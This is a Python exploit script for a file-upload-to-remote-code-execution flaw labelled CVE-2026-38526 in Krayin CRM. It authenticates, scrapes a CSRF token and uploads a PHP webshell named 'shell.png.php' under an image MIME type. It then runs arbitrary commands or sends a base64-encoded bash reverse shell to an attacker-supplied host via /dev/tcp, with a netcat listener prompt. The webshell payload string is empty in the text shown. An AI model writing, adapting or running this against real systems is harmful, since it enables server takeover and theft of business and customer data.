import requests from bs4 import BeautifulSoup import re import argparse import sys import base64 # ====================== ARGUMENTS ====================== parser = argparse.ArgumentParser(description="CVE-2026-38526 - Krayin CRM Arbitrary File Upload to RCE") parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. http://example.com)") parser.add_argument("-e", "--email", required=True, help="Email for authentication") parser.add_argument("-p", "--password", required=True, help="Password for authentication") parser.add_argument("-c", "--cmd", help="Execute a single command instead of reverse shell") parser.add_argument("--lhost", help="Your IP address for reverse shell") parser.add_argument("--lport", type=int, default=4444, help="Your listening port (default: 4444)") args = parser.parse_args() if not args.cmd and not args.lhost: print("[-] Error: You must provide either --cmd or --lhost for reverse shell") sys.exit(1) BASE_URL = args.url.rstrip("/") LOGIN_URL = f"{BASE_URL}/admin/login" # ====================== WEBSHELL PAYLOAD ====================== PAYLOAD = """ """ # ========================================================= session = requests.Session() session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36', }) # ====================== LOGIN ====================== print("[*] Logging in...") r = session.get(LOGIN_URL) soup = BeautifulSoup(r.text, 'html.parser') token_input = soup.find("input", {"name": "_token"}) csrf_token = token_input["value"] if token_input else None if not csrf_token: match = re.search(r'name=["\']_token["\'] value=["\']([^"\']+)', r.text) csrf_token = match.group(1) if match else None if not csrf_token: print("[-] Failed to retrieve CSRF token") exit(1) print(f"[+] CSRF token retrieved: {csrf_token[:30]}...") login_data = { 'email': args.email, 'password': args.password, '_token': csrf_token } login_resp = session.post(LOGIN_URL, data=login_data) if login_resp.status_code != 200 or "/admin" not in login_resp.url.lower(): print("[-] Login failed") print(f"Final URL: {login_resp.url}") exit(1) print("[+] Login successful") # ====================== REFRESH CSRF TOKEN ====================== print("[*] Refreshing CSRF token...") refresh = session.get(f"{BASE_URL}/admin/mail/inbox") soup = BeautifulSoup(refresh.text, 'html.parser') new_token = soup.find("input", {"name": "_token"}) if new_token and new_token.get("value"): csrf_token = new_token["value"] session.headers.update({'X-CSRF-TOKEN': csrf_token}) # ====================== UPLOAD WEBSHELL ====================== print("[*] Uploading webshell...") files = { 'file': ('shell.png.php', PAYLOAD, 'image/jpeg') } data = {'_token': csrf_token} upload_resp = session.post( f"{BASE_URL}/admin/tinymce/upload", files=files, data=data ) if upload_resp.status_code != 200: print("[-] Upload failed") print(upload_resp.text[:600]) exit(1) try: result = upload_resp.json() location = result.get('location') or result.get('url') or result.get('path') shell_url = location if location.startswith('http') else BASE_URL + location print(f"[+] Webshell uploaded: {shell_url}") except: print("[-] Failed to parse upload response") exit(1) # ====================== EXECUTION ====================== if args.cmd: # Single command mode print(f"\n[*] Executing command: {args.cmd}") response = session.get(f"{shell_url}?cmd={args.cmd}") print(response.text.strip()) else: # Reverse shell mode (default) print(f"\n[*] Preparing reverse shell to {args.lhost}:{args.lport}") print("[!] Make sure your listener is running:") print(f" nc -lvnp {args.lport}") input("\n[+] Press Enter when your netcat listener is ready...") # Base64 encoded reverse shell rev_cmd = f"/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1" b64_payload = base64.b64encode(rev_cmd.encode('utf-8')).decode('utf-8') final_cmd = f"echo '{b64_payload}' | base64 -d | bash" print("[*] Sending encoded reverse shell...") session.get(f"{shell_url}?cmd={final_cmd}") print("[+] Reverse shell payload sent! Check your listener.") print("\n[+] Exploit finished.")